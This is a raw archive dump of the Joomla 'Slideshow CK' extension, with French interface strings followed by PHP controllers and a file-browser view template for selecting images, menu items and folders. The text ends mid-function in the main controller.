CK_ERROR_USER_NO_AUTH="Erreur : L'utilisateur n'a pas les droits pour cette action"
CK_ERROR_CREATING_FAVORITEFILE="Erreur pendant la création du favori"
CK_ERROR_DELETING_FAVORITEFILE="Erreur pendant la suppression du favori"
CK_DUPLICATE_ROW="Dupliquer la ligne"

;added 1.2.3
CK_SELECT_MODULE_FIRST="Veuillez d'abord sélectionner un module"
CK_MORE_MENU_ELEMENTS="Plus d'éléments de menu"
CK_FULLWIDTH="Pleine largeur"

;added 1.3.0
CK_LOAD_MODEL="Charger un modèle"
CK_OVERLAY_STYLES="Styles de l'overlay"
CK_OVERLAY_INFOS="Ecran overlay"
CK_OVERLAY_DESC="Vous pouvez définir un écran qui s'interpose entre le fond du bloc et les éléments de contenu. Par exemple en donnant une couleur de fond et une opacité à l'overlay, vous créez un effet de mise en relief sur l'image de fond du bloc."
CK_TOGGLE_EDITOR="Basculer l'éditeur"

COM_PAGEBUILDERCK_CONTENT_READMORE="Read More"
COM_PAGEBUILDERCK_CONTENT_READMORE_DESC="Add a readmore separation"

;added 1.3.5
CK_DUPLICATE_COLUMN="Dupliquer la colonne"

;added 1.3.9
COM_PAGEBUILDERCK_ARTICLES="Articles"
COM_PAGEBUILDERCK_MODULES="Modules"
CK_PREVIEW_FRONT="Prévisualiser sur le site"
CK_SAVE_AS_PAGE="Enregistrer comme page"
CK_RESPONSIVE_SETTINGS="Paramètres responsive"
CK_BROWSE_INFOS="Cliquez sur un dossier pour voir les images qu'il contient et y uploader les vôtres. Cliquez sur une image pour la sélectionner."

;added 1.4.4
CK_CHECK_HTML="Vérifier HTML"
CK_CHECK_HTML_DESC="Vérifie qu'il n'y ait pas d'erreurs HTML comme des identifiants identiques"
CK_ENTER_CLASSNAMES="Veuillez entrer les noms des classes css séparés par un espace"
CHECK_IDS_ALERT_PROBLEM="Certains blocs ont le même ID. Ceci doit être corrigé. Trouvez les éléments en rouge et renommez les"
CHECK_IDS_ALERT_OK="Validation terminée avec succès, tout est OK !"
CK_ENTER_UNIQUE_ID="Veuillez entrer un ID unique (ceci doit être un texte)"
CK_INVALID_ID="ID invalide ou existe déjà"
CK_ENTER_VALID_ID="Veuillez entrer un ID valide"

;added 1.5.2
CK_IMAGE_EFFECT="Image Effect"
CK_IMAGEEFFECTCK_NOT_INSTALLED="Le plugin Image Effect CK n'est pas installé. Vous ne pouvez pas utiliser cette fonctionnalité"
CK_IMAGEEFFECTCK_BUTTON_NOT_INSTALLED="Le plugin Image Effect CK Params n'est pas installé. Vous ne pouvez pas utiliser cette fonctionnalité"

;added 1.5.6
CK_UNDO="Annuler"
CK_REDO="Refaire"
CK_ELEMENTS="Eléments"
CK_HTML_CSS="HTML / CSS"

;added 1.2.0
CK_FOLDERS="Dossiers"
CK_ELEMENTS="Eléments"
CK_GUTTER="Espace entre les colonnes"
COM_PAGEBUILDERCK_CONTENT_ROW="Rangée"
COM_PAGEBUILDERCK_CONTENT_ROW_DESC="Rangée avec colonnes"
CK_PHONE = "Téléphone"
CK_TABLET = "Tablette"
CK_PORTRAIT = "Portrait"
CK_LANDSCAPE = "Paysage"
CK_RESPONSIVE_VALUE_DESC="Définir une resolution d'écran, en px"
CK_COLUMNS="Colonnes"
CK_SUGGESTIONS="Suggestions"
CK_RESPONSIVE_SETTINGS_ALIGNED="Alignés"
CK_RESPONSIVE_SETTINGS_STACKED="Empilés"
CK_RESPONSIVE_SETTINGS_HIDDEN="Caché"
CK_RESPONSIVE_SETTINGS_SHOWN="Affiché"
CK_COMPUTER="Ordinateur"
CK_ROW="Rangée"
CK_SET_RESPONSIVE_VALUE_IN_OPTIONS="Définissez les valeurs responsives dans les options du composant"
CK_EDIT_FULLSCREEN="Editer en plein écran"
CK_DELAY="Délai"
CK_MENU_ITEMS="Liens de menu"
CK_MENU_ITEMS_DESC="Vous pouvez naviguer dans les menus avec les icônes +/-. Une fois que vous avez trouvé le lien de menu que vous cherchez, cliquez dessus pour le sélectionner."
CK_AUTO_WIDTH="Largeur auto"
CK_ADVANCED_LAYOUT="Disposition avancée"
CK_RATIO="Ratio"

;added 2.0.5
CK_REFRESH="Raffraichir"

;added 2.2.0
COM_PAGEBUILDERCK_MY_ELEMENTS="Mes éléments"
CK_MY_ELEMENTS="Mes éléments"
COM_PAGEBUILDERCK_DESCRIPTION="Description"
COM_PAGEBUILDERCK_TYPE="Type"
CK_ORDERING="Ordre"
CK_SAVE="Enregistrer"

;added 2.2.7
CK_DIVIDER="Shape divider"
CK_SHAPE="Shape"
CK_FLIP_HORIZONTAL="Flip horizontal"
CK_FLIP_VERTICAL="Flip vertical"
CK_INVERSE="Inverse"
CK_PLACEMENT="Placement"
CK_FIRST_COLOR="First color"
CK_SECOND_COLOR="Second color"
CK_UNDER_CONTENT="Under content"
CK_OVER_CONTENT="Over content"
CK_CLOUDS="Clouds"
CK_MULIPLE_CLOUDS="Multiple clouds"
CK_PAPER="Paper"
CK_BRIDGE="Bridge"
CK_MOUNTAIN="Mountain"
CK_WAVE="Wave"
CK_MULTIPLE_WAVE="Multiple waves"
CK_SLOPE="Slope"
CK_MULIPLE_SLOPE="Multiple slopes"
CK_DRIP="Drip"
CK_ASYM_SLOPE="Asymetric slope"
CK_VSLOPE="V slope"
CK_MULTIVSLOPE="Multiple V slopes"
CK_MULTIV3SLOPE="Multiple V 3 slopes"
CK_TRIANGLE="Triangle"
CK_TRIANGLE_SMALL="Triangle small"
CK_TRIANGLE_3="3 Triangles"
CK_ELLIPSE="Ellipse"

;added 2.2.8
CK_ALWAYS="Always"

;added 2.3.0
CK_ADDONS="Eléments"
CK_PAGES="Pages"
CK_MODELS="Modèles"

;added 2.3.1
CK_WARNING_USERGROUP_FILTERTYPE_BLACKLIST="Votre groupe d'utilisateur a un filtre de texte défini sur Liste Noire. Cela risque de causer la perte des données lors de l'enregistrement de votre article. Merci de contacter votre administrateur pour corriger cela."
CK_WARNING_USERGROUP_FILTERTYPE_WHITELIST_NOSTYLE="Votre groupe d'utilisateur a un filtre de texte défini sur Liste Blanche mais il manque le tag 'style' dans la liste des tags autorisés. Cela risque de causer la perte des données lors de l'enregistrement de votre article. Merci de contacter votre administrateur pour corriger cela."

;added 2.4.0
CK_CUSTOMCSS_DESC="Vous pouvez écrire vos propres règles CSS qui seront ajoutées à la page. Notez que le code ne sera pas chargé dans l'interface, mais uniquement lors du rendu de la page en frontend."
CK_RESPONSIVE_RANGE_LABEL="Type de plage"
CK_RESPONSIVE_RANGE_DESC="Palier : utilise les attributs min-width et max-width. Réduction : n'utilise que max-width, donc les propriétés se propageront à toutes les résolutions inférieures"
CK_RESPONSIVE_BETWEEN="Palier"
CK_RESPONSIVE_REDUCING="Réduction"

;added 2.3.6
COM_PAGEBUILDERCK_CONTENT_WRAPPER="Conteneur"
COM_PAGEBUILDERCK_CONTENT_WRAPPER_DESC="Conteneur pour y mettre des rangées"
CK_WRAPPER_IN_WRAPPER_NOT_ALLOWED="Vous ne pouvez pas mettre un conteneur dans un autre"
CK_MOVE_WRAPPER="Déplacer le conteneur"
CK_DUPLICATE_WRAPPER="Dupliquer le conteneur"
CK_REMOVE_WRAPPER="Supprimer le conteneur"
;CK_CHOOSE_METHOD="Choose how to set up the width : full width or fixed width."
CK_FIXEDWIDTH="Largeur fixe"
CK_READ_DOCUMENTATION="Lire la documentation"
CK_FULLWIDTH_STANDARD_INFO="Ceci va laisser le contenu prendre toute la place disponible dans le template. Si vous voulez que ce soit aussi large que l'écran, vous devez vous assurez que la zone dans votre template soit en pleine largeur."
CK_FULLWIDTH_JAVASCRIPT_ALERT="ATTENTION : non recommendé ! Cette méthode est proposée pour dépanner les débutants et pour des sites personnels. Ne l'utilisez pas sur un site professionnel. Cette méthode génère des effets désagréables lors du scroll."
CK_FULLWIDTH_STANDARD="Standard"
CK_FULLWIDTH_JAVASCRIPT="Javascript"
CK_ROW_WRAPPER="Conteneur de rangée"
CK_ROWWIDTH_EDIT="Edition largeur"
CK_FIXEDWIDTH_INFO="Ceci va limiter la largeur du contenu dans la rangée à la largeur fixée ci-après. Cela reste responsive, mais ne sera pas plus large que cette valeur."
CK_RESOLUTION="Résolution"
CK_FIXEDWIDTH_RESOLUTION="Valeur fixe"
CK_FIXEDWIDTH_TEMPLATECREATOR="Automatique <small>avec Template Creator CK</small>"

;added 2.3.7
CK_EXIT="Sortir"

;added 2.4.3
CK_LINK_TARGET="Cible du lien"
CK_LINK_TARGET_SAME="Même fenêtre"
CK_LINK_TARGET_NEW="Nouvelle fenêtre"
CK_FOLDER_CREATED_ERROR="Erreur : le dossier n'a pas été créé"
CK_FOLDER_CREATED_SUCCESS="Dossier créé avec succès"
CK_CREATE_FOLDER="Créer le dossier"
CK_ADD_SUB_FOLDER="Ajouter un sous-dossier"
CK_MUTED="Son coupé"
CK_NUMBER_COLS="Nombre de colonnes"
CK_DISPLAY_TYPE_LIST="Affichage liste"
CK_DISPLAY_TYPE_GRID="Affichage grille"
CK_GROUP_LAYOUT="Structure"
CK_GROUP_TEXT="Texte"
CK_GROUP_IMAGE="Image"
CK_GROUP_MULTIMEDIA="Multimedia"
CK_GROUP_OTHER="Autres"
CK_SELECT_FOLDER="Sélectionner ce dossier"
CK_DESCRIPTION="Description"
CK_SAVE_CLOSE="Enregistrer et fermer"

CK_NORMAL="Normal"
CK_HOVER="Survolé"
CK_FONTCOLOR_DESC="Couleur du text Utiliser la palette de couleur, ou écrire une valeur personnalisée"
CK_FONTHOVERCOLOR_DESC="Couleur du texte survolé Utiliser la palette de couleur, ou écrire une valeur personnalisée"
CK_BGCOLOR_LABEL="Couleur de fond"
CK_BGCOLOR_DESC="Couleur de fond Utiliser la palette de couleur, ou écrire une valeur personnalisée"
CK_BGCOLOR2_DESC="Couleur dégradé Utiliser la palette de couleur, ou écrire une valeur personnalisée Notez que si vous utilisez un dégradé vous ne pouvez pas utiliser une image de fond."
CK_BGOPACITY_DESC="Opacité du fond, valeur de 0 à 1"
CK_BACKGROUNDIMAGE_LABEL="Image de fond"
CK_BACKGROUNDIMAGE_DESC="Sélectionner une image de fond.  Notez que si vous utiliser une image de fond vous ne pouvez pas utiliser de dégradé pour le fond."
CK_SELECT="Selectionner"
CK_CLEAR="Effacer"
CK_BACKGROUNDPOSITIONX_DESC="Position de l'image de fond dans l'axe X (horizontal)"
CK_BACKGROUNDPOSITIONY_DESC="Position de l'image de fond dans l'axe Y (vertical)"
CK_BORDERCOLOR_LABEL="Bordure"
CK_BORDERCOLOR_DESC="Couleur de bordure Utiliser la palette de couleur, ou écrire une valeur personnalisée"
CK_BORDERTOPWIDTH_DESC="Largeur bordure haut  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_BORDERRIGHTWIDTH_DESC="Largeur bordure droit  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_BORDERBOTTOMWIDTH_DESC="Largeur bordure bas  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_BORDERLEFTWIDTH_DESC="Largeur bordure gauche  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_ROUNDEDCORNERS_LABEL="Coins arrondis"
CK_ROUNDEDCORNERSTL_DESC="Coin supérieur gauche  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_ROUNDEDCORNERSTR_DESC="Coin supérieur droit  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_ROUNDEDCORNERSBR_DESC="Coin inférieur droit  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_ROUNDEDCORNERSBL_DESC="Coin inférieur gauche  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_SHADOW_LABEL="Ombre"
CK_SHADOWBLUR_DESC="Diffusion"
CK_SHADOWSPREAD_DESC="Distance de propagation (optional)"
CK_OFFSETX_DESC="Décalage dans l'axe X (horizontal)"
CK_OFFSETY_DESC="Décalage dans l'axe Y (vertical)"
CK_MARGIN_LABEL="Marges"
CK_MARGINTOP_DESC="Marge haut  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_MARGINRIGHT_DESC="Marge droit  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_MARGINBOTTOM_DESC="Marge bas  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_MARGINLEFT_DESC="Marge gauche  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_PADDING_LABEL="Padding (marge interne)"
CK_PADDINGTOP_DESC="Padding haut  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_PADDINGRIGHT_DESC="Padding droit  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_PADDINGBOTTOM_DESC="Padding bas  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_PADDINGLEFT_DESC="Padding gauche (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_TEXTSHADOW_LABEL="Ombre de texte"

CK_OUT="Externe"
CK_IN="Interne"

CK_LOWERCASE="Minuscule"
CK_UPPERCASE="Majuscule"
CK_CAPITALIZE="Capital"

CK_BOLD="Gras"

CK_LINEHEIGHT_DESC="Hauteur de ligne"
CK_TEXT_LABEL="Texte"
CK_APPEARANCE_LABEL="Apparence"
CK_DIMENSIONS_LABEL="Dimensions"

CK_SLIDE="Slide"
CK_CAPTION="Légende"
CK_BUTTON="Bouton"
CK_BUTTON_HOVER="Bouton survolé"
CK_FONTSTYLE_LABEL="Style de police"
CK_FONTSIZE_DESC="Taille de police  (définir la valeur en px, em ou %. L'unité par défaut est le px)"
CK_GFONT_DESC="Entrez le nom d'une police Google Font, par exemple : Open+Sans+Condensed:300"
CK_FONTCOLOR_LABEL="Couleur de police"
CK_CUSTOM_CSS="CSS Personnalisés"

CK_CHOOSE_FILE_MMCK="Selectionner un fichier .mmck"
CK_INSTALL="Installer"
CK_PREVIEW="Prévisualiser"

CK_DOWNLOAD="Télécharger"
CK_WIDTH_LABEL="Largeur"
CK_WIDTH_DESC="Définir la largeur en px ou %"
CK_HEIGHT_LABEL="Hauteur"
CK_HEIGHT_DESC="Définir la hauteur en  px ou %"
CK_DURATION="Durée"
CK_FADE="Fondu"
CK_MOVE="Mouvement"
CK_DIRECTION="Direction"
CK_LEFT_TO_RIGHT="Gauche à droite"
CK_RIGHT_TO_LEFT="Droite à gauche"
CK_TOP_TO_BOTTOM="Haut vers bas"
CK_BOTTOM_TO_TOP="Bas vers haut"
CK_DISTANCE="Distance"
CK_ROTATE="Rotation"
CK_SCALE="Redimensionner"
CK_PLAY_ANIMATION="Jouer l'animation"
CK_ANIMATIONS_LABEL="Animations"
CK_DELAY="Délai"

CK_PAGINATION_LABEL="Pagination et flèches"
CK_ARROW_COLOR_LABEL="Flèches"
CK_ARROW_HOVER_COLOR_LABEL="Flèches survolées"
CK_COLOR_DESC="Couleur Utiliser la palette de couleur, ou écrire une valeur personnalisée"
CK_OPACITY_DESC="Opacité, valeur de 0 à 1"
CK_PAGINATION_COLOR_LABEL="Pagination"
CK_PAGINATION_ACTIVE_COLOR_LABEL="Pagination active"
CK_NAME="Nom"
CK_CONTAINER="Conteneur"
CK_SLIDESHOW="Slideshow"
CK_PAGINATION_WITH_DOTS="Pagination à points"
CK_DOTS="Points"
CK_PAGINATION_WITH_THUMBS="Pagination à vignettes"
CK_THUMBS="Vignettes"
CK_PAGINATION="Pagination"
CK_NAVIGATION="Navigation"
CK_LAYOUT="Mise en forme"
CK_BORDER_WIDTH_DESC="Largeur de bordure"
CK_CENTER="Centre"
CK_PRESETS="Suggestions"
CK_TRASH="Supprimer"


;added 2.0.13
CK_DROP_FILES_TO_UPLOAD="Glissez déposez pour téléverser"
CK_OR_SELECT_FILES="ou sélectionnez des fichiers"

;added 2.3.0
CK_NO_IMAGE_FOUND="Aucune image trouvée"com_slideshowck/language/fr-FR/fr-FR.com_slideshowck.sys.ini000060400000000661152453734450020041 0ustar00; license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8


COM_SLIDESHOWCK="Slideshow CK"
COM_SLIDESHOWCK_DESC="Slideshow CK affiche vos images et contenus dans un slider. Tactile - mobile - responsive - rtl"
SLIDESHOWCK_DESC="Slideshow CK affiche vos images et contenus dans un slider. Tactile - mobile - responsive - rtl"
COM_SLIDESHOWCK_CONFIGURATION="Slideshow CK Configuration"com_slideshowck/language/index.html000060400000000055152453734450013511 0ustar00<html><body bgcolor="#FFFFFF"></body></html>
com_slideshowck/index.html000060400000000054152453734450011725 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/controllers/index.html000060400000000032152453734450014267 0ustar00<html><body></body></html>com_slideshowck/controllers/menus.php000060400000003344152453734450014143 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('CK_LOADED') or die;

use \Slideshowck\CKController;
use \Slideshowck\CKFof;

class SlideshowckControllerMenus extends CKController {

	function ajaxShowMenuItems() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		$parentId = $this->input->get('parentid', 0, 'int');
		$menutype = $this->input->get('menutype', '', 'string');

		$model = $this->getModel('Menus', 'Slideshowck', array());
		$items = $model->getChildrenItems($menutype, $parentId);

		$links = array();
		$imagespath = SLIDESHOWCK_MEDIA_URI .'/images/';
		?>
		<div class="cksubfolder">
		<?php
		foreach ($items as $item) {
//			CKFof::dump($item);
			$aliasId = $item->id;
			if ($item->type == 'alias') {
				$itemParams = new \Joomla\Registry\Registry($item->params);
				$aliasId = $itemParams->get('aliasoptions', 0);
			}
			$Itemid = substr($item->link,-7,7) == 'Itemid=' ? $aliasId : '&Itemid=' . $aliasId;
		?>
			<div class="ckfoldertree parent">
				<div class="ckfoldertreetoggler <?php if ($item->rgt - $item->lft <= 1) { echo 'empty'; } ?>" onclick="ckToggleTreeSub(this, <?php echo $item->id ?>)" data-menutype="<?php echo $item->menutype; ?>"></div>
				<div class="ckfoldertreename hasTip" title="<?php echo $item->link . $Itemid ?>" onclick="ckSetMenuItemUrl('<?php echo $item->link . $Itemid ?>')"><img src="<?php echo $imagespath ?>folder.png" /><?php echo $item->title; ?></div>
			</div>
		<?php
		}
		?>
		</div>
		<?php
		exit;
	}
}
com_slideshowck/controllers/ajax.php000060400000002166152453734450013740 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('CK_LOADED') or die;

use \Slideshowck\CKController;
use \Slideshowck\CKFof;
use \Slideshowck\CKText;

class SlideshowckControllerAjax extends CKController {

	function __construct() {
		// security check
		if (! CKFof::checkAjaxToken()) exit;
		
		parent::__construct();
		
		$plugin = $this->input->get('plugin', '', 'cmd');
		$task = $this->input->get('task', '', 'cmd');

		if ($plugin) {
			if (file_exists(SLIDESHOWCK_PLUGINS_PATH . '/' . $plugin . '/helper/helper_' . $plugin . '.php')) {
				require_once(SLIDESHOWCK_PLUGINS_PATH . '/' . $plugin . '/helper/helper_' . $plugin . '.php');
				$className = 'SlideshowckHelpersource' . ucfirst($plugin);
				//SlideshowckHelpersourceArticles
				$class = new $className();
				if (method_exists($class, $task)) {
					$class::$task();
					exit;
				}
			}
		}
		die;
	}
}
com_slideshowck/views/index.html000060400000000032152453734450013056 0ustar00<html><body></body></html>com_slideshowck/views/browse/index.html000060400000000054152453734450014363 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/views/browse/tmpl/default.php000060400000017442152453734450015510 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2015. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

use Slideshowck\CKFof;

defined('_JEXEC') or die;

require_once(JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.js.php');

$imagespath = SLIDESHOWCK_MEDIA_URI .'/images/';
\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
$doc = \Joomla\CMS\Factory::getDocument();
$doc->addStylesheet(SLIDESHOWCK_MEDIA_URI . '/assets/ckbrowse.css?ver=' . SLIDESHOWCK_VERSION);
$doc->addScript(SLIDESHOWCK_MEDIA_URI . '/assets/ckbrowse.js?ver=' . SLIDESHOWCK_VERSION);
$input = \Joomla\CMS\Factory::getApplication()->input;

$returnFunc = $input->get('func', 'ckSelectFile', 'cmd');
$returnField = $input->get('field', '', 'string');
$type = $input->get('type', 'image', 'string');
Slideshowck\CKFramework::loadCss();

switch ($type) {
	case 'video' :
		$fileicon = 'file_video.png';
		break;
	case 'audio' :
		$fileicon = 'file_audio.png';
		break;
	case 'folder' :
	case 'image' :
	default :
		$fileicon = 'file_image.png';
		break;
}
?>
<script type="text/javascript">
	var URIROOT = "<?php echo \Joomla\CMS\Uri\Uri::root(true); ?>";
	var URIBASE = "<?php echo \Joomla\CMS\Uri\Uri::base(true); ?>";
	var SLIDESHOWCK_MEDIA_URI = '<?php echo SLIDESHOWCK_MEDIA_URI ?>';
	var SLIDESHOWCK_ADMIN_URL = '<?php echo SLIDESHOWCK_ADMIN_URL ?>';
	var SLIDESHOWCK_URL = '<?php echo SLIDESHOWCK_URL ?>';
	var CKTOKEN = '<?php echo \Joomla\CMS\Factory::getSession()->getFormToken() ?>=1';
</script>
<div id="ckbrowse" class="clearfix">
<div id="ckfolderupload">
	<div class="inner">
		<div class="upload">
			<h2 class="uploadinstructions"><?php echo \Joomla\CMS\Language\Text::_( 'CK_DROP_FILES_TO_UPLOAD' ); ?></h2>
			<p><?php echo \Joomla\CMS\Language\Text::_( 'CK_OR_SELECT_FILES' ); ?></p><input id="ckfileupload" type="file" class="" />
		</div>
	</div>
</div>
<div id="ckfoldertreelist">
<p><?php echo \Joomla\CMS\Language\Text::_('CK_BROWSE_INFOS') ?></p>
<h3><?php echo \Joomla\CMS\Language\Text::_('CK_FOLDERS') ?></h3>
<?php
$lastitem = 0;
foreach ($this->items as $i => $folder) {
	$submenustyle = '';
	$folderclass = '';
	if ($folder->level == 1) {
		$submenustyle = 'display: block;';
		$folderclass = 'ckcurrent';
	}
	$pathway = str_replace('/', '</span><span class="ckfoldertreepath">', ($folder->basepath));
	?>
	<div class="ckfoldertree <?php echo $folderclass ?> <?php echo ($folder->deeper ? 'parent' : '') ?> <?php //echo (count($folder->files) ? 'hasfiles' : '') ?>" data-level="<?php echo $folder->level ?>" data-path="<?php echo ($folder->basepath) ?>">
		<?php if ($folder->level > 1) { ?><div class="ckfoldertreetoggler" onclick="ckToggleTreeSub(this)"></div><?php } ?>
		<div class="ckfoldertreename" onclick="ckLoadFiles(this, '<?php echo $type ?>', '<?php echo ($folder->basepath) ?>')"><span class="icon-folder"></span><?php echo ($folder->name); ?>
		<?php /*<div class="ckfoldertreecount"><?php echo count($folder->files); ?></div> */ ?>
		</div>
		<div class="ckfoldertreefiles">
			<?php if ($type == 'folder') { ?>
			<div id="ckfoldertreelistfolderselection">
				<div class="ckbutton ckbutton-primary" style="font-size:20px;padding: 10px 20px;" onclick="ckSelectFolder('<?php echo ($folder->basepath) ?>')"><i class="fas fa-check-square"></i> <?php echo \Joomla\CMS\Language\Text::_('CK_SELECT_FOLDER') ?><br /><small><?php echo $pathway ?></small></div>
			</div>
			<?php } ?>
			<div class="ckfoldertreepathway ckinterface">
				<span><?php echo $pathway; ?></span>
				<?php
				if (CKFof::userCan('create', 'com_media')) {
				?>
				<span class="ckfoldertreepathwayactions">
					<span class="ckfoldertreepathwayaddfolder ckbutton" onclick="ckAddFolder()"><?php echo \Joomla\CMS\Language\Text::_('CK_ADD_SUB_FOLDER') ?></span>
					<span class="ckfoldertreepathwayfoldername"><input type="text" class="ckfoldertreepathwayaddfoldername" /></span>
					<span class="ckfoldertreepathwaycreatefolder ckbutton" onclick="ckCreateFolder(this, '<?php echo ($folder->basepath) ?>')"><?php echo \Joomla\CMS\Language\Text::_('CK_CREATE_FOLDER') ?></span>
				</span>
				<?php } ?>
			</div>
		<?php if (isset($folder->files) && ! empty($folder->files)) {
				foreach ($folder->files as $j => $file) { 
		?>
				<div class="ckfoldertreefile ckwait" data-type="<?php echo $type ?>" onclick="ckSelectFile(this)" data-path="<?php echo ($folder->basepath) ?>" data-filename="<?php echo ($file) ?>">
					<div class="ckfakeimage" data-src="<?php echo \Joomla\CMS\Uri\Uri::root(true) . '/' . ($folder->basepath) . '/' . ($file) ?>" title="<?php echo ($file); ?>" ></div>
					<div class="ckimagetitle"><?php echo ($file); ?></div>
				</div>
			<?php } ?>
		<?php } ?>
		</div>

	<?php
		if ($folder->deeper)
		{
			echo '<div class="cksubfolder" style="' . $submenustyle . '">';
		}
		elseif ($folder->shallower)
		{
			// The next item is shallower.
			echo '</div>'; // close ckfoldertree
			echo str_repeat('</div></div>', $folder->level_diff); // close cksubfolder + ckfoldertree
		} 
		else
		{
			// The next item is on the same level.
			echo '</div>'; // close ckfoldertree
		}
}

?>
</div>
<div id="ckfoldertreepreview">
	<div class="inner">
		<?php if ($type == 'image') { ?>
		<div id="ckfoldertreepreviewimage">
		</div>
		<?php } ?>
	</div>
</div>

</div>
<script>
var $ck = window.$ck || jQuery.noConflict();
var URIROOT = window.URIROOT || '<?php echo \Joomla\CMS\Uri\Uri::root(true) ?>';
var cktoken = '<?php echo \Joomla\CMS\Session\Session::getFormToken() ?>';

function ckToggleTreeSub(btn) {
	var item = $ck(btn).parent();
	if (item.hasClass('ckopened')) {
		item.removeClass('ckopened');
	} else {
		item.addClass('ckopened')
		// item.find('> .cksubfolder, > .ckfoldertreefiles').css('opacity','0').animate({'opacity': '1'}, 300);
	}
}

function ckShowFiles(btn) {
	// show the image in place of divs
	var fakeImages = $ck(btn).find('~ .ckfoldertreefiles .ckfakeimage');
	if (fakeImages.length) {
		fakeImages.each(function() {
			$fakeImage = $ck(this);
			var source = $fakeImage.parent().attr('data-type') == 'image' || $fakeImage.parent().attr('data-type') == 'folder' ? $fakeImage.attr('data-src') : '<?php echo $imagespath . $fileicon ?>';
			$fakeImage.after('<img src="' + source + '" title="' + $fakeImage.attr('title') + '" loading="lazy"/>');
			$fakeImage.parent().removeClass('ckwait');
			$fakeImage.remove();
		});
	}
	// set the current state on the folder
	var item = $ck(btn).parent();
	$ck('.ckcurrent').not(btn).removeClass('ckcurrent');
	if (item.hasClass('ckcurrent')) {
		item.removeClass('ckcurrent');
	} else {
		item.addClass('ckcurrent')
	}
}

function ckSelectFile(btn) {
	try {
		if (typeof(window.parent.<?php echo $returnFunc ?>) != 'undefined') {
			window.parent.<?php echo $returnFunc ?>($ck(btn).attr('data-path') + '/' + $ck(btn).attr('data-filename'), '<?php echo $returnField ?>');
			if (typeof(window.parent.CKBox) != 'undefined') window.parent.CKBox.close();
		} else {
			alert('ERROR : The function <?php echo $returnFunc ?> is missing in the parent window. Please contact the developer');
		}
	}
	catch(err) {
		alert('ERROR : ' + err.message + '. Please contact the developper.');
	}
}

function ckSelectFolder(path) {
	try {
		if (typeof(window.parent.<?php echo $returnFunc ?>) != 'undefined') {
			window.parent.<?php echo $returnFunc ?>(path, '<?php echo $returnField ?>');
			if (typeof(window.parent.CKBox) != 'undefined') window.parent.CKBox.close();
		} else {
			alert('ERROR : The function <?php echo $returnFunc ?> is missing in the parent window. Please contact the developer');
		}
	}
	catch(err) {
		alert('ERROR : ' + err.message + '. Please contact the developper.');
	}
}

// display the images in the root folder
ckShowFiles($ck('.ckfoldertreename').first()[0]);
</script>
com_slideshowck/views/browse/tmpl/index.html000060400000000054152453734450015337 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_slideshowck/views/browse/view.html.php000060400000002012152453734450015010 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
 
// No direct access
defined('_JEXEC') or die;

use \Slideshowck\CKView;
use \Slideshowck\CKFof;

class SlideshowckViewBrowse extends CKView {

	function display($tpl = 'default') {
		$input = \Joomla\CMS\Factory::getApplication()->input;

		$user = \Joomla\CMS\Factory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_slideshowck') || (count($user->getAuthorisedCategories('com_slideshowck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(\Joomla\CMS\Language\Text::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		// load the items
		require_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/ckbrowse.php';
		$this->items = CKBrowse::getItemsList();

		parent::display($tpl);
	}
}
com_slideshowck/controller.php000060400000004363152453734450012633 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */
 
// No direct access
defined('CK_LOADED') or die;

use \Slideshowck\CKController;
use \Slideshowck\CKFof;
use \Slideshowck\CKText;

class SlideshowckController extends CKController {

	static function getInstance($prefix = '') {
		return parent::getInstance('Slideshowck');
	}

	public function display($cachable = false, $urlparams = false) {
		$view = $this->input->get('view', 'about');
		$this->input->set('view', $view);

		parent::display();

		return $this;
	}

	public static function ajaxCreateFolder() {
		// security check
		if (! CKFof::checkAjaxToken()) {
			exit();
		}

		if (CKFof::userCan('create', 'com_media')) {
